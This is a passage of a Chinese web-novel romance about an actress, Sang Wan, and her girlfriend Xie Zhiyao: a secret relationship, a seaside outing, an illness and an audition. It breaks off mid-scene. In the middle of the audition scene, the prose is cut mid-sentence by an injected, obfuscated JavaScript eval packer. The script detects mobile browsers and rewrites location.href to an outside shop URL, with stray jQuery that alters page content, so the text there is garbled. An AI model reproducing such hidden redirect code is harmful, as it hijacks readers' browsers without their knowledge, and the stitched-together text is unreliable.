“可是……我是个演员啊。”桑晚有些无奈地说,“要是和你在一起了,这事儿万一被狗仔拍到,不就知道了?对我的事业会有影响的。” 谢知遥看着她,眼神里没有半分不悦,反而充满了理解。她向前一步,拉近了彼此的距离,语气柔和而坚定。 “没关系,”谢知遥说,“我们可以不公开。我理解你的顾虑,知道你现在的身份不能谈恋爱,要全心全意地拍戏,把事业放在第一位。” 她顿了顿,嘴角忽然勾起一抹熟悉的、带着点狡黠却又无比真诚的笑意,像是在跟她打一个只属于他们两个人的赌。 “桑桑,我们打个赌怎么样?”谢知遥看着她,一字一句,说得格外清晰,“如果多年以后,你火了,从这些小配角慢慢演到大女主,站在了你梦想的舞台上……你就和我结婚,怎么样?” 桑晚看着她,心跳得厉害。她知道谢知遥不是在开玩笑,这份承诺,比任何山盟海誓都来得郑重其事。她看着谢知遥眼里的自己,仿佛看到了未来无数个并肩走过的日子。 “行吧。”桑晚终于点了点头,嘴角忍不住上扬,“但是你要确定好了,我先不公开哦。” “我确定以及肯定。”谢知遥立刻回答,没有丝毫犹豫。她伸出手,轻轻将桑晚耳边的一缕碎发别到耳后,指尖的温度透过皮肤,一直暖到心里。 “只要能和你在一起,”谢知遥的声音温柔得能滴出水来,“我就感到特别幸福。” 她牵起桑晚的手,放在自己的心口,那里正有力地跳动着,仿佛在诉说着无声的誓言。桑晚感受着掌心下的温度和律动,脸上泛起了红晕,嘴角的笑容却怎么也藏不住。 她没有再说话,只是反手握住了谢知遥的手,用力地点了点头。 谢知遥听了桑晚的应允,心里的石头总算落了地,脸上那副紧张的神情瞬间消散,又恢复了平日里那副带着点得意和慵懒的模样。她握着桑晚的手紧了紧,像是在确认这不再是梦。 两人重新迈开步子,朝着她提前订好的餐厅走去。餐厅里灯光柔和,音乐舒缓,显然是精心挑选的。落座后,谢知遥给桑晚倒了杯温水,自己才拿起水杯喝了一口,目光却始终没离开过桑晚的脸。 这顿饭吃得比平时慢,也比平时安静。谢知遥夹菜给桑晚,自己却没怎么动筷子,只是看着桑晚吃,眼神里是一种近乎贪婪的满足感。桑晚被她看得有些不好意思,小声问她怎么不吃。 谢知遥笑了笑,放下筷子,身体微微前倾,双手交叉托着下巴,那双总是带着点漫不经心的桃花眼,此刻却亮得惊人,直勾勾地看着桑晚。 “桑桑,”她开口,声音里带着点不易察觉的撒娇意味,却又说得无比认真,“既然我们确定了身份,那……你能不能不回你家了?” 她顿了顿,像是在斟酌措辞,又像是在给自己鼓劲。 “每天下班就待在我家,好不好?”谢知遥的语气里带上了一丝难得的、近乎卑微的祈求,“要不然,我太孤独了。你也知道的,我一个人住,以前觉得没什么,现在……一想到你不在身边,就觉得这房子太空了。” 她说完,就那么眼巴巴地看着桑晚,等待着她的裁决,仿佛一个等待老师批改作业的小学生,全然没有了平日里那个雷厉风行、说一不二的谢总的架子。 桑晚看着她这副模样,心里又觉得好笑,又觉得柔软得一塌糊涂。她放下筷子,也学着谢知遥的样子,双手托着下巴,眼睛弯成了月牙。 “好好好,都依你。”桑晚的声音轻快得像只百灵鸟,带着掩饰不住的笑意,“我不回去了,就在你家呆着,行了吗?我的谢大小姐。” 谢知遥的眼睛瞬间亮了,像是盛满了整个银河的星光。她伸出手,勾了勾桑晚的小拇指,嘴角的笑意怎么也压不住。 “这可是你说的,不许反悔。”谢知遥的语气里满是得意,仿佛刚刚赢得了一场至关重要的战役。 “不反悔。”桑晚笑着摇头,“走吧,我的‘室友’,吃饱了吗?吃饱了我们回家。” 谢知遥站起身,很自然地帮桑晚拿过外套,细心地帮她穿上。走出餐厅,夜晚的风有些凉,谢知遥下意识地把桑晚往自己身边带了带,让她走在更靠近建筑物内侧的位置。 这一次,她握着桑晚的手,握得更紧了。 4. 新戏 剧刚播完没几天,桑晚的经纪人就打来了电话,声音里是抑制不住的兴奋:“桑晚,有个新戏的女三号,导演点名要见你!机会难得,你可得好好把握!” 桑晚握着手机,眼睛也亮了起来。女三号,这比她之前演的配角又进了一步。她几乎没有犹豫,满口答应下来,心里盘算着赶紧把行李收拾一下,随时准备进组。 然而,当她把自己的行程表递给谢知遥看时,却被谢知遥一把按住了手。 “你要去哪?”谢知遥挑眉,语气里带着点不悦。 “新戏……女三号,导演要见我。”桑晚小声解释,看着谢知遥沉下来的脸,心里有点发怵。 “不行。”谢知遥把她的行程表抽过来,看也不看就扔在了一边,“你刚接完一个剧,杀青了,播完了,现在又争先恐后地接第二个剧?你是想钱想疯了,还是真要把自己的身体累垮是吗?” 她站起身,走到桑晚面前,居高临下地看着她,语气里带着一种不容置疑的强势:“你连轴转了这么久,就不知道累吗?也不给自己放个长假,好好休息一下?” 桑晚看着谢知遥,心里有些委屈。她知道谢知遥是关心她,可是…… “可是,这是个好机会……”桑晚试图辩解。 “机会以后还会有,但你的身体只有一个。”谢知遥的语气软了下来,带着一丝不易察觉的恳求,“桑桑,听话,先休息一段时间。我带你去个地方。” “去哪?”桑晚下意识地问。 “去了就知道了。”谢知遥神秘地笑了笑,不再多说,只是牵起她的手,把她往门外带。 桑晚就这样稀里糊涂地被谢知遥带出了门,连行李都没来得及收拾。她回头望了一眼被扔在沙发上的行程表,心里有些无奈,却又莫名地感到一阵轻松。 也许,听谢知遥的,休息一下,也未尝不是一件坏事。 海风带着咸湿的气息扑面而来,吹起了我的发梢。 我看着眼前一望无际的蔚蓝,有点发愣。谢知遥已经走在前面,回头朝我伸出手:“走啊,发什么呆。” 她的手很好看,手指修长,指甲修剪得圆润干净。我犹豫了一下,把自己的手放了进去。她的掌心温暖而干燥,轻轻一拽,就把我从沙滩的斜坡上拉了下去。 “你先坐着休息会儿,我去拿点东西。”她指了指不远处的遮阳伞和躺椅,然后转身往停在路边的车走去。 我点点头,走过去坐下。很快,谢知遥就提着一个野餐篮和两个水壶回来了。她把水壶递给我,又从篮子里拿出水果和小点心,一样样摆在躺椅中间的小桌上。 “桑晚,过来吃点东西。”她招呼我。 我挪过去,拿起一块小蛋糕咬了一口,甜而不腻,是我喜欢的口味。 谢知遥没再拿她那台从不离身的相机,而是掏出手机,看似随意地刷着屏幕。但我能感觉到,她的目光偶尔会从手机上方掠过,落在我身上。 我坐了一会儿,觉得有点无聊,目光被不远处浅滩里被浪冲上来的一些彩色贝壳吸引住了。 “知遥,我下去捡点贝壳。”我跟她招呼了一声。 “去吧,小心点,别走远了。”她头也没抬,慵懒地应了一声。 我赤着脚,踩在微凉的海水里,那种感觉舒服极了。我弯着腰,专注地在沙滩上搜寻着形状好看的贝壳,时不时发出一声小小的惊呼。 “知遥,你看这个,像不像个小爱心?”我举起一个粉色的贝壳,兴奋地朝她喊。 她终于从手机屏幕里抬起头,远远地看过来,嘴角噙着一丝笑:“嗯,好看,留着给你做项链。” 我没再管她,自顾自地玩得不亦乐乎。她就那么躺着,偶尔看我一眼,偶尔又低头看手机。我沉浸在自己的小世界里,完全没注意到,她其实是在用手机偷拍我。 我弯腰捡贝壳时的专注侧脸,我举着贝壳对着阳光看时的欣喜表情,甚至是我被小螃蟹突然横着爬过吓了一跳的惊慌模样……都被她无声地定格在了她的手机相册里。 她拍得很隐蔽,角度选得也极好。海边的阳光、微咸的海风、专注的我,一切都像是电影里的慢镜头,充满了故事感。她没打算现在就给我看,她想等我自己发现。 玩了一会儿,我直起腰,拍了拍手上的沙子,走回躺椅那边。 “知遥,你带我来海边,你自己怎么不玩?”我有点不解地看着她,她从来了就一直躺着。 她把手机放下,坐起身,目光柔和地看着我:“我有点事情要处理,你自己玩好不好?别打扰我。” 她说话时,手指还在手机屏幕上快速地敲击着,似乎在回复什么重要的消息。我哦了一声,有点小失落,但还是乖乖地不再打扰她,自己坐在旁边的沙滩上,摆弄起捡回来的那些贝壳。 时间过得很快,太阳渐渐西斜,将天空染成了绚丽的橘红色。海风也渐渐大了起来,带着傍晚的凉意。 我穿着一条单薄的连衣裙,被风一吹,忍不住打了个寒颤,下意识地抱住了胳膊。 几乎是同一时间,一件带着体温和淡淡香气的外套披在了我的肩上。 我抬头,对上谢知遥垂下来的目光。她不知什么时候已经放下了手机,正站在我面前。 “穿这么少,也不怕冻着。”她的语气里带着点嗔怪,但动作却很轻柔地帮我把衣服拢了拢。 “这鱼都是晚上才出来活动的,”她指了指渐渐暗下来的海面,眼里闪过一丝狡黠的光,“要不要赶海?” 赶海?我眼睛一亮,刚才那点小失落瞬间被抛到了九霄云外。 “好啊!”我站起身,把她的外套裹得更紧了些,衣角长出了半截,带着她身上好闻的香气。 “比谁抓的多?”我挑衅地看着她。 “好啊,”她笑了,那笑容在夕阳下显得格外好看,“输了的,明天一天都归赢的人管。” “一言为定!”我斗志昂扬。 她没再躺下,而是陪我一起,再次走向了那片被夕阳镀上一层金边的海滩。海浪轻轻拍打着脚踝,凉凉的,痒痒的。我们就这样并肩走着,偶尔肩膀会不经意地碰到一起。 我偷偷侧头看了她一眼。夕阳的余晖勾勒出她完美的侧脸轮廓,她的目光望向远方,深邃而平静。这一刻,我忽然觉得,什么都不做,就这样和她待在一起,好像也挺好的。 海风拂过,带来远处轮船的汽笛声,也带来了她身上清冽好闻的气息。我抓紧了肩上的衣服,心里像被这海风和夕阳填满了一样,暖洋洋的。 夜色渐深,海浪的声音在耳边起伏。我提着那个轻飘飘的鱼桶,垂头丧气地跟在谢知遥后面。她那个桶,沉甸甸的,时不时还有水花溅出来,里面估计装了得有十几条鱼,个头还不小。 “唉……”我忍不住叹气,看着自己桶里孤零零躺着的三条小鱼,欲哭无泪。 谢知遥停下脚步,转过身,好整以暇地看着我这副模样,嘴角噙着笑:“怎么,服不服?” “服了服了,”我耷拉着肩膀,把桶往前一伸,一脸怀疑人生地看着她,“知遥姐姐,你老实交代,你以前是不是专业钓鱼的?怎么能有那么多鱼?这不科学!” 她走过来,接过我手里这个轻得可怜的桶,另一只手很自然地牵起我的手,往回走:“没有啊,只是偶尔钓过几次,不怎么熟练。” 我不信,歪着头看她:“骗人!不熟练能钓这么多?你这完全是深藏不露啊!” 她低低地笑了一声,夜色里,那笑声听起来格外悦耳:“可能……是运气好吧。行了,愿赌服输,桑晚,你这一天,从现在开始,都归我管。” 我刚想说话,口袋里的手机就响了。屏幕上跳跃着“许砚之”三个字。 我心里咯噔一下,莫名有点心虚,接起电话:“喂,砚之哥……” 电话那头的声音几乎是炸过来的,带着毫不掩饰的怒气和指责:“桑晚!我不是跟你讲得很清楚了吗?有个女三号的导演要见你!人家导演等了你一天了!你人呢?不想演是吗?这么好的资源给你你都不要,你还想要大女主的本子是吗?你知不知道多少人想求这个机会都求不来!你……” 他噼里啪啦一通骂,我被骂得脑袋嗡嗡响,刚想解释,手里的手机却被一只修长的手抽了过去。 是谢知遥。 她把手机放到耳边,刚才还带着笑意的脸瞬间冷了下来,眼神锐利得像冰:“听够了吗?” 电话那头的咆哮声戛然而止,似乎没料到会有人抢电话。 谢知遥的语气没有一丝温度:“我女朋友想什么时候去演就什么时候去演,用得着你们来管她吗?她的身体,她的时间,我说了算。” 那边似乎愣住了,传来一阵错愕的沉默,过了好几秒,许砚之的声音才重新响起,充满了疑惑和不悦:“又是你?回消息的是你,现在接电话的也是你?你到底是她的谁?凭什么替她做主?” “我是桑晚的男朋友,行了吧?”谢知遥说得理直气壮,她甚至转过头,用那双漂亮的眼睛看着我,一字一顿地说出这句话,仿佛是在向我确认。 我的心猛地一跳。 她对着电话,语气霸道又强硬:“还有,告诉那边导演,你要是等不起就别等了,等得起那就乖乖等着。我们什么时候去试戏,时间没定。人家敢等,我们就敢去。人家要是不等呢,我们也无所谓,转身就走。这种连基本尊重都没有的剧组,不演也罢。” 说完,不等那边再有任何反应,她直接挂断了电话,顺手按了关机。 海边的风有点大,吹乱了她的头发。她把手机塞回我手里,看着我愣愣的样子,又恢复了那副懒洋洋的神情,伸手帮我理了理被风吹乱的额发,语气重新变得温柔:“别理他。走,我带你去吃夜宵,庆祝你今天……输得心服口服。” 我握着那个还带着她体温的手机,看着她近在咫尺的脸,听着她自称“男朋友”时那理所当然的语气,心里那点因为输掉比赛而产生的失落,还有因为被经纪人责骂而产生的忐忑,竟然就这样奇异地被抚平了。 好像……有个人这样理直气壮地护着自己,感觉也……还不错。 夜色像一块浸了水的深蓝绒布,沉甸甸地压下来。海风比来时更凉了些,吹在身上,激起一层细密的鸡皮疙瘩。 “走吧,桑桑,”谢知遥把我的衣领又往上提了提,她的声音在风里显得有点哑,却带着不容置疑的温柔,“走着去烧烤店,对身体好一点。” 我抬头看了看她,路灯的光晕打在她侧脸上,勾勒出清冷又柔和的轮廓。我点点头,心里一片踏实:“好。” 她没再说话,只是更紧地握住了我的手,拉着我往前走。夜风穿过街角,发出细微的呜咽声,我下意识地往她身边靠了靠。 走了约莫十几分钟,街边的灯火渐渐密集起来,烟火气也浓了。远远地,就看到一家烧烤店门口支着大排档,炭火烤得滋滋作响,烟雾缭绕。 “到了。”谢知遥停住脚,转头问我,呼出的白气在冷空气中瞬间消散,“桑桑,吃不吃辣一点的?还是来点不辣的?” 我被那股浓郁的烤肉香气一熏,肚子很配合地叫了一声。我有点不好意思地捂住肚子,小声说:“不辣的吧,我怕晚上吃了辣的胃不舒服。” “好。”她应了一声,拉着我走到摊位前,熟稔地对老板说,“老板,来五十串羊肉,微辣;来二十串鸡脆骨,微辣;再烤几串韭菜和馒头片,别放辣。再来两瓶豆奶。” “好嘞!稍等啊!”老板应了一声,手中的动作更快了。 我找了个空桌坐下,谢知遥坐在我对面,双手交叉放在桌上,托着下巴看我。她的眼神很亮,像浸了星光的黑曜石,看得我有点不自在。 “你看我干嘛?” “看你可爱。”她嘴角勾起一抹笑,声音里带着点懒洋洋的调侃。 我脸一热,正想反驳,老板已经把烤好的串儿端了上来,热气腾腾,香气扑鼻。我顿时把其他事都抛到了脑后,拿起一串羊肉就咬。 “慢点吃,没人跟你抢。”谢知遥笑着递给我一张纸巾。 我含糊不清地应着,嘴里塞满了肉,心里却暖烘烘的。我们有一搭没一搭地聊着天,她大部分时候都在看我吃,偶尔自己也吃两口。 吃完后,谢知遥抢着付了钱。走出店门,夜风一吹,我打了个激灵。 “回家吧。”我说。 “嗯。” 回去的路上,谢知遥走得很快,我小跑着才能跟上。走了一会儿,我感觉身边的气压有点低,转头一看,她正低着头,眉头微蹙,嘴唇紧紧抿着。 “知遥,你怎么了?”我问。 她没说话,只是猛地吸了吸鼻子。 下一秒,一个响亮的喷嚏从她鼻腔里迸发出来。 “阿嚏!” 我吓了一跳,赶紧停下脚步:“知遥!你是不是感冒了?都怪我,非要出来吃烧烤,让你吹了这么久的风。” 她揉了揉发红的鼻尖,又打了个喷嚏,声音已经有些沙哑了:“阿……阿嚏!没……没事,可能是风吹的。” 接下来的一路,她就没停过。一个喷嚏接着一个喷嚏,打得惊天动地,眼泪都快出来了。我看着她通红的鼻子,心里又愧疚又想笑,却又不敢笑出来。 “知遥,你是不是冷了?要不我们打车回去吧?” “不……阿嚏!不用,我身体好,扛一扛就过去了。”她嘴硬得很,但身体却很诚实地往我这边靠了靠,似乎是想从我身上汲取一点温暖。 我叹了口气,脱下自己的外套,不由分说地披在她身上:“你别硬撑了,都打这么多喷嚏了。快披上,别真的感冒了。” 她想拒绝,但又打了个大大的喷嚏,只好乖乖地把衣服裹紧了。 终于到了家门口,我扶着她进了屋,赶紧给她倒了杯热水。 “快喝点热水,去去寒。” 谢知遥接过杯子,捧在手里,吸了吸鼻子,看着我,眼神有点委屈:“桑桑,我好像真的有点冷。” 我看着她这副样子,心里软得一塌糊涂,接过她手里的杯子放在桌上,把她拉过来,用自己的体温紧紧地抱住她。 “好了好了,不冷了,我抱着你。” 她把脸埋在我的颈窝里,声音闷闷的:“桑桑,我是不是很没用?” “没有,你是最棒的。”我轻轻拍着她的背,柔声安慰道,“谁让你刚才把衣服都给我穿了,自己冻着了。” 她在我怀里蹭了蹭,找了个舒服的姿势,小声嘟囔着:“我是你男朋友嘛,当然要保护你。” 我忍不住笑了,亲了亲她的额头:“好好好,我最厉害的男朋友,现在去洗个热水澡,早点睡觉,知道吗?” 她点了点头,终于不再硬撑了,乖乖地去洗澡了。 清晨的阳光透过窗帘的缝隙,在地板上投下几道细长的光痕。我醒来时,身边的位置已经凉了,但谢知遥并不在房间里。 我披着外套走出卧室,一眼就看见她蜷缩在客厅的沙发上,整个人陷在柔软的靠垫里,像一只生病后寻求庇护的小动物。她平时总是神采奕奕的,此刻却脸色潮红,眉头微微蹙着,呼吸也有些粗重。 我心里一紧,走过去,小心翼翼地伸出手,轻轻贴在她的额头上。 好烫。 我又赶紧用自己的额头去碰了碰她的,温差让我瞬间倒吸了一口凉气。她的体温明显比正常时候高了很多,皮肤像一块被烧红的炭,烫得吓人。 肯定是昨晚为了陪我赶海,又吹了冷风,回来路上还硬撑着不打车,结果把自己给冻病了。 我心里一阵愧疚,轻手轻脚地把她身上的毯子往上拉了拉,然后转身进了厨房。 我记得以前妈妈说过,受了风寒喝姜茶最好。我在厨房里一阵忙活,把生姜切片,加水和红糖慢慢熬煮。甜丝丝又带着辛辣的暖香渐渐在厨房里弥漫开来,我用小碗盛了一碗,放在桌上晾着。 我又想起她额头这么烫,肯定很难受,于是又翻出家里的医药箱,找出退烧贴,用剪刀把背面的保护膜撕下来,备用。 做完这些,我端着那碗温热的姜茶,走回沙发边,坐在她身旁的地毯上。 我拿起她的手,轻轻放在我的脸颊边,她的手心滚烫,干燥得没有一丝水分。我拿起那张贴退烧贴,小心翼翼地贴在她的额头上,冰凉的触感似乎让她舒服了一些,她无意识地嘤咛了一声,眉头舒展开了些许。 我就这么静静地坐在地毯上,守着她。阳光慢慢移动,照在她长长的睫毛上,在眼睑下投下一小片扇形的阴影。我偶尔会伸手摸摸她的额头,感受着那惊人的热度。 不知道过了多久,她的眼睫颤了颤,缓缓睁开了眼睛。那双漂亮的眸子此刻有些失焦,蒙着一层水雾,看起来格外脆弱。 她看着我,眼神里带着刚醒来的迷茫和不适,嘴唇干裂,翕动了几下,声音沙哑得厉害,带着浓重的鼻音,像一只被踩了尾巴的小奶猫: “桑桑……我好冷啊……也好难受……” 她说话时,气息喷在我的手背上,滚烫得吓人。 我赶紧握住她的手,试图把自己的体温传递过去,柔声安慰道:“知遥,别怕,我在呢。你发烧了,可能是昨晚吹风着凉了。我给你熬了姜茶,还有退烧贴,你感觉怎么样?要不要喝点姜茶?” 她没有回答,只是看着我,眼神里全是依赖和委屈,然后,她像只寻求温暖的猫一样,往我这边靠了靠,把滚烫的额头抵在我的肩膀上,小声地蹭了蹭。 “桑桑……”她又唤了我的名字,声音里带着一丝不易察觉的颤抖和无助。 我的心一下子就软得一塌糊涂,抬手轻轻拍着她的背,一下又一下,像安抚一个受了委屈的孩子。 “我在呢,知遥。别怕,我陪着你。” 一周的时间,像指缝里的沙,悄无声息地溜走了。 这一周里,谢知遥从一个需要人照顾的“病号”,又变回了那个神采奕奕、甚至有点霸道的“男朋友”。当然,在这之前,她得先熬过我每天逼她喝的苦得要命的中药,还有我像老母亲一样絮絮叨叨的叮嘱。 这天早上,她精神头明显好了很多,脸色也恢复了红润,甚至还能跟我贫嘴了。 我坐在她旁边,手里拿着手机,假装漫不经心地刷着新闻,其实一直在用余光瞟她。等她终于放下手机,我清了清嗓子,用一种带着点小得意又有点撒娇的语气说: “谢知遥,这一周我都有在照顾你呢,我的小男朋友。怎么样,服务还满意吗?” 她转过头,好笑地看着我,伸手捏了捏我的脸:“满意,非常满意。桑大保姆,辛苦了。” “那……”我拖长了音调,眼睛亮晶晶地看着她,“现在,我这个假也放得够长了吧?允许我去试戏了吗?” 她看着我期待的样子,叹了口气,眼神里满是无奈和宠溺:“行吧,我的姑奶奶,准了。” 我高兴得差点跳起来,刚要欢呼,她又补充道:“我要陪着你去。” “可以呀!”我爽快地答应,然后上下打量了她一眼,故意板起脸,“但是,你要把自己捂得严严实实的!戴好帽子,围好围巾,别再着凉了。快去换衣服,我在门口等你。” 她被我像赶小鸭子一样推出了房间,嘴里还小声嘟囔着:“知道了,我的管家婆。” 很快,她换好了一身严严实实的运动装,戴着顶棒球帽,把自己裹得像个粽子一样,从头到脚,没露出一丝缝隙。我满意地点点头,拉起她的手,打了个车,直奔试戏的地点。 到了地方,谢知遥显得比我还紧张。她紧紧地抓着我的手,手心里都是汗,眼睛不停地往四周瞟,仿佛周围都是潜在的敌人。 我反手握住她,轻声说:“别紧张,就是去见个导演,过一遍戏。” 她点点头,但抓着我的手却一点没松。 进了试戏的房间,导演和几个制片人坐在那里。我深吸一口气,把谢知遥安顿在角落的沙发上,让她自己玩手机,然后走到导演面前,礼貌地打了招呼。 “导演好我是桑晚,是“晚舟”已过,也是“桑榆”非晚。” 导演点点头,把剧本递给我:“来,看看这段词,准备一下,等会儿跟对手演员走一遍。” 我接过剧本,快速地浏览了一遍。是女三号在得知自己身世后的那场重头戏,情绪起伏很大,从震惊、痛苦到最终的释然,很考验演技。 很快,对手演员到了。我们简单沟通了一下,就开始走戏。 我站在一旁,默默地看词,把每一个情绪的转折点都在心里过了一遍。谢知遥坐在角落里,虽然低着头在玩手机,但我能感觉到,她的余光一直没离开过我。 我闭上眼睛,让自己完全沉浸在角色里。当我再次睁开眼时,我已经不是桑晚,而是那个刚刚得知自己身世的女三号。我的声音微微颤抖,眼神里充满了震惊和不敢置信,随着台词的推进,痛苦、挣扎、最终归于一种复杂的平静,都通过我的眼神和细微的表情变化传递出来。 整个过程,一气呵成。 演完,房间里安静了几秒钟。 导演看着我,眼里闪过一丝惊艳,随即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185248|197007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露出了满意的笑容,带头鼓起掌来:“好!情绪很到位,台词功底也不错,对角色的理解也很深刻。桑晚,这个女三号,就是你的了。” 我松了口气,心里一块石头落了地,脸上露出了灿烂的笑容:“谢谢导演!” 我转过身,一眼就看到了角落里的谢知遥。她也正看着我,刚才还紧绷着的小脸,此刻已经笑成了一朵花。她放下手机,站起来,朝我张开双臂。 我笑着跑过去,扑进她的怀里,把脸埋在她的颈窝里,闻着她身上熟悉的味道,心里充满了前所未有的踏实和幸福。 “知遥,我做到了!”我在她耳边小声说。 她紧紧地抱着我,声音里满是骄傲和喜悦:“嗯,我的桑桑最棒了。” 这几个月,剧组的生活像上了发条的钟摆,转得人晕头转向。 我每天天不亮就得起床化妆,然后对着镜头一遍又一遍地走位、演戏,有时候一条过不了,就得反复折腾,体力和精力都消耗得特别快。不知不觉间,衣服好像都变得松垮了。 但不管我回来得多晚,推开家门的那一刻,总有一盏灯是为我亮着的,还有一桌热气腾腾的饭菜。 是谢知遥。 自从我进组拍戏,她就雷打不动地担起了“后勤部长”的重任。每天晚上,她都会变着花样给我做饭。今天是滋补的菌菇鸡汤,明天是酸甜开胃的糖醋排骨,后天又变成了清淡鲜美的海鲜粥。 她像个不知疲倦的魔术师,总能用最普通的食材,做出最能抚慰人心的味道。 “桑桑,快去洗手,吃饭了。”她系着围裙,从厨房里探出头来,脸上带着温柔的笑意。 我闻着那诱人的香味,肚子很配合地叫了起来,一天的疲惫仿佛都被这烟火气驱散了。我乖乖地跑去洗手,然后坐在餐桌前,看着满桌的美味佳肴,幸福感爆棚。 “哇,知遥,今天又做什么好吃的了?”我拿起筷子,迫不及待地尝了一口汤,“嗯!好喝!” 她在我对面坐下,自己却没怎么动筷子,只是托着下巴,目光温柔地看着我狼吞虎咽的样子,眼里满是宠溺:“慢点吃,别烫着。今天感觉怎么样?累不累?” “累,但是开心!”我嘴里塞满了食物,含糊不清地说,“不过一想到回来能吃到你做的饭,就觉得什么都不累了。” 她笑着给我夹了一块最大的排骨,眼神里却闪过一丝心疼,轻轻叹了口气:“可是你都瘦了。你看你,下巴都尖了。” 我摸了摸自己的脸,不以为意地笑:“哪有瘦?明明是最近妆容的原因,显得脸小了嘛。” “不行,”她很固执,语气里带着不容置疑的坚定,“明天开始,我要给你加餐。你这身体,得好好补补。” 我看着她为我操心的样子,心里暖洋洋的,又觉得有点好笑。谁能想到,那个在片场呼风唤雨、连导演都要给三分面子的谢知遥,在家里却是个为了我吃多吃少而操碎了心的“老妈子”。 “遵命,谢大厨!”我敬了个礼,又乖乖地把碗里的汤喝得一滴不剩。 她这才满意地点点头,嘴角的笑意更深了。 其实,我怎么会不知道她的心思呢?她只是心疼我,想用她的方式,把我照顾得妥妥帖帖。那些精心准备的菜肴里,藏着的不是简单的柴米油盐,而是她沉甸甸的爱意。 有时候,夜深人静,我看着她在我睡着后,还在台灯下研究新的菜谱,那专注的侧脸,比任何璀璨的星光都要动人。 我走过去,从背后轻轻抱住她,把脸贴在她的背上,感受着她的体温。 “知遥,”我轻声说,“谢谢你。” 她回过头,有些疑惑地看着我:“谢什么?快去睡觉,明天还要早起呢。” 我没有松开手,只是抱得更紧了些,声音闷闷的:“谢谢你这么爱我。” 她愣了一下,随即笑了,反手拍了拍我的手背,语气里带着一丝不易察觉的温柔和坚定:“傻瓜,不谢。只要你好好的,我就开心了。” 夜深了,拍了一天戏的身子骨像是散了架,我却还精神得很。 洗完澡出来,空气中还飘着谢知遥给我炖的那盅汤的余香。我擦着头发,看着她在厨房里忙碌的背影,心里软得一塌糊涂。 回房间后,我往柔软的大床上一扑,随手拿起床头柜上的手机,指尖在屏幕上轻轻滑动。看着相册里那些她给我做的满桌美食,还有她低头认真做饭的侧脸,一个念头忽然冒了出来。 为什么不分享一下呢? 我打开微博,那是我工作用的大号,粉丝数后面跟着好几个零。平时发的不是剧照就是宣传,鲜少有私人的生活痕迹。 今天,我想破个例。 我点开编辑页面,没有配图,只打了一行字: “累瘫了,但还是被投喂了一顿米其林级别的大餐。我有一个米其林大厨。晚安,世界。” 点击发送。 几秒钟的寂静后,手机开始嗡嗡嗡地震个不停。 我有些好笑地把手机屏幕冲下扣在枕头上,不去管它,心里却像被蜜糖浸过一样甜。这点小小的“爆料”,对于我那些火眼金睛的粉丝来说,无异于往平静的湖面扔了一颗深水炸弹。 我猜,他们现在一定在疯狂地脑补和猜测。 “米其林大厨”?这几个字的信息量可太大了。 是我的新戏角色吗?不像,桑晚的风格向来是直抒胸臆。 那是哪个顶级餐厅的大厨在追我们晚晚吗?不可能,晚晚最近忙得脚不沾地,哪有时间谈恋爱? 难道……是同居了? 我闭上眼睛,脑海里浮现出谢知遥那张冷艳又带着点傲气的脸,还有她今天晚上一边给我吹头发一边念叨“明天给你做佛跳墙,听说很补”的样子。 嘴角忍不住微微上扬。 让他们猜去吧。 这个“米其林大厨”,此刻正在另一个房间,也许正戴着老花镜虽然是为了耍帅买的平光镜研究明天的菜单,全然不知自己已经因为我这一条短短的微博,成为了万千网友热议的焦点。 而我,心满意足地把脸埋进带着阳光味道的枕头里,闻着空气中若有若无的饭菜香,沉沉地睡了过去。 梦里,也是甜的。 第二天中午,阳光透过窗帘的缝隙,在地板上投下斑驳的光影。 谢知遥是被晨光晒醒的。她懒洋洋地翻了个身,习惯性地去摸手机,指尖划过屏幕,点开了微博。 桑晚昨晚发的那条微博,点赞数已经涨到了好几万。评论区更是热闹得像一锅煮沸的粥。 【???米其林大厨?晚晚你恋爱了?】 【楼上的别瞎说,肯定是新剧角色!坐等官宣!】 【不对不对,这语气也太甜了吧!绝对是私交!哪个大厨这么幸运?】 【在线等,急!这大厨是男是女?】 谢知遥一条条翻着评论,嘴角不自觉地勾起一抹得意的笑。她正看得入神,心里忽然冒出一个念头:这都快中午了,桑桑肯定还没吃饭,剧组的盒饭哪有营养? 不如……我给她送饭去? 说干就干。谢知遥一骨碌从床上爬起来,冲进厨房,把自己关了两个多小时。等她再次出来时,手里提着一个精致的保温饭盒,里面是色香味俱全的四菜一汤。 她很满意自己的杰作,拿起手机,给桑晚发了条消息: “桑桑,今天我送饭给你吃。” 发完消息,她又觉得不保险,上次去探班,被剧组的保安拦在门口,问东问西,差点没把她气死。于是又补了一条: “桑桑,能发一个语音证明吗?这样子我才可以进去。要不然我又被拦住了。” 消息发出去后,手机却一直安安静静的。 谢知遥也不急,她知道桑晚在拍戏的时候,手机都是静音交给助理的。她提着饭盒,打了个车,直奔剧组。 到了剧组门口,她顺利地报了名字,这次保安没再刁难,可能是因为上次谢知遥那张冷若冰霜的脸给他们留下了太深刻的印象。 她提着饭盒,凭着记忆往拍摄场地走。远远地,就看到一群人围在一起。 谢知遥走近了些,一眼就看到了桑晚。她正和一个男人站在一起,男人是这部剧的男主,长得挺帅,此刻正微微倾身,和桑晚说着什么,脸上带着温和的笑意。桑晚也仰着头,在听他说,时不时点点头,两人看起来相谈甚欢。 谢知遥的脚步顿住了。 一股无名火“噌”地一下就冒了上来。她脸上的笑容瞬间消失得无影无踪,周身的气温也冷了下来。她盯着那个靠桑晚太近的男人,眼神像淬了冰。 她就这么冷着脸,提着饭盒,一步步走了过去。 桑晚正觉得男主今天有点话多,余光忽然瞥见一个熟悉的身影。她抬头,一眼就看到了站在人群外,冷着一张脸,眼神不善地看着这边的谢知遥。 桑晚的心里顿时“咯噔”一下,暗道一声:坏了! 她几乎是下意识地,立刻抬起手,不着痕迹却又十分坚决地推开了男主靠得太近的身体,后退了一小步,拉开了两人之间的距离。 